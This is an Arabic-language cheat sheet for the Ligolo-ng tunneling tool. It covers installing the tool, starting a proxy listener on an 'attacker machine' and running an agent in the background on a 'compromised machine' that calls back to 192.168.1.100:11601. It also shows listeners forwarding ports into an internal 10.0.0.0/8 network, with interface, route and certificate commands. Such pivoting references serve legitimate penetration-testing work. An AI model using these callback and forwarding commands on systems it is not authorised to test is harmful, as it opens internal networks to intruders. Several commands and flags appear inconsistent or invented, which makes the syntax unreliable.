تخطَّ إلى المحتوى

Ligolo-ng

التثبيت

Linux/macOS

# تحميل أحدث إصدار
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.10/ligolo-ng_0.4.10_Linux_x86_64.tar.gz

# استخراج
tar -xzf ligolo-ng_0.4.10_Linux_x86_64.tar.gz

# جعل قابل للتنفيذ
chmod +x ligolo-ng

# نقل إلى المسار
sudo mv ligolo-ng /usr/local/bin/

# التحقق من التثبيت
ligolo-ng -h

Windows

# تحميل من الإصدارات
Invoke-WebRequest -Uri "https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.10/ligolo-ng_0.4.10_Windows_x86_64.zip" -OutFile "ligolo.zip"

# استخراج
Expand-Archive ligolo.zip

# أو تحميل يدويًا من صفحة GitHub releases
# إضافة إلى المسار إذا لزم الأمر

استخدام Docker

# بناء من المصدر
git clone https://github.com/nicocha30/ligolo-ng.git
cd ligolo-ng
docker build -t ligolo-ng .

# تشغيل الخادم الوكيل
docker run -it -p 11601:11601 ligolo-ng ./ligolo-ng -bind 0.0.0.0:11601 -selfcert

نظرة عامة على العمارة

المكونات

┌─────────────────────┐
│  آلة المهاجم       │
│   (خادم وكيل)      │
│  ligolo-ng proxy    │
│  :11601 (listener)  │
└────────────┬────────┘
             │ TLS/TCP
      ┌──────┴──────┐
      │  الإنترنت   │
      └──────┬──────┘

┌────────────▼────────────┐
│ آلة مخترقة             │
│ (نقطة التحرك)          │
│ ligolo-ng agent        │
│ اتصال بالخادم الوكيل  │
│ توجيه المرور           │
└────────────┬────────────┘

┌────────────▼────────────┐
│ الشبكة الداخلية        │
│ أهداف غير قابلة للوصول│
│ 10.0.0.0/8             │
└─────────────────────────┘

الإعداد الأساسي

خادم الوكيل (آلة المهاجم)

# إنشاء شهادة موقّعة ذاتيًا
ligolo-ng -gen-cert -cert-file=cert.pem -key-file=key.pem

# بدء مستمع الخادم الوكيل
ligolo-ng -bind 0.0.0.0:11601 -cert=cert.pem -key=key.pem

# أو بدون شهادة (توليد تلقائي)
ligolo-ng -bind 0.0.0.0:11601 -selfcert

# مع واجهة شبكة مخصصة
ligolo-ng -bind 192.168.1.100:11601 -selfcert

# تحديد مستوى السجل
ligolo-ng -bind 0.0.0.0:11601 -selfcert -loglevel=4

الوكيل (الآلة المخترقة)

# الاتصال بالخادم الوكيل
ligolo-ng -connect 192.168.1.100:11601 -tunnel-allow-insecure

# مع التحقق من الشهادة
ligolo-ng -connect 192.168.1.100:11601 -ca-file=ca.pem

# تنفيذ في الخلفية
nohup ligolo-ng -connect 192.168.1.100:11601 -tunnel-allow-insecure &

# تنفيذ في الخلفية على Windows
START /B ligolo-ng.exe -connect 192.168.1.100:11601 -tunnel-allow-insecure

إدارة المستمعين

إنشاء المستمعين

# الوضع التفاعلي - إضافة مستمع
# في واجهة سطر أوامر ligolo-ng:
listener add --bind 0.0.0.0:3389 --to 10.0.0.5:3389
listener add --bind 0.0.0.0:80 --to 10.0.0.10:80
listener add --bind 127.0.0.1:5432 --to 10.0.0.20:5432

# مستمعون متعددون
listener add --bind 0.0.0.0:8080 --to 10.0.0.1:8080
listener add --bind 0.0.0.0:8081 --to 10.0.0.2:8080
listener add --bind 0.0.0.0:8082 --to 10.0.0.3:8080

أوامر المستمع

# إدراج المستمعين النشطين
listener list

# إزالة المستمع
listener remove --id=0

# عرض تفاصيل المستمع
listener show --id=0

# تمكين/تعطيل المستمع
listener set --id=0 --enabled=false
listener set --id=0 --enabled=true

إدارة واجهات النفق

تكوين واجهة الشبكة

# إدراج واجهات النفق
interface list

# إنشاء واجهة افتراضية (Linux)
interface add --name=tun0 --address=10.0.0.1/24

# إضافة واجهة إلى النفق النشط
interface attach --id=0 --name=tun0

# عرض جدول توجيه الواجهة
interface show --id=0

# حذف الواجهة
interface delete --id=0 --name=tun0

أفضل ممارسات الأمان

إدارة الشهادة

# إنشاء شهادة بـ CN مناسب
openssl req -new -x509 -days 365 -nodes \
  -out cert.pem -keyout key.pem \
  -subj "/C=US/ST=State/L=City/O=Org/CN=proxy.domain.com"

# التحقق من سلسلة الشهادة
openssl verify -CAfile ca.pem cert.pem

# فحص انتهاء صلاحية الشهادة
openssl x509 -in cert.pem -text -noout | grep "Not After"

مرجع أوامر واجهة سطر الأوامر

# أوامر المستمع
listener add --bind <BIND> --to <TARGET>
listener remove --id=<ID>
listener list
listener show --id=<ID>

# أوامر الواجهة
interface add --name=<NAME> --address=<ADDR/MASK>
interface list
interface attach --id=<ID> --name=<NAME>
interface delete --id=<ID> --name=<NAME>
interface route add --id=<ID> --network=<NET> --via=<GW>
interface route list --id=<ID>

# أوامر الوكيل
agent list
agent info --id=<ID>
agent close --id=<ID>

# عام
help
exit

المراجع


آخر تحديث: 2026-03-30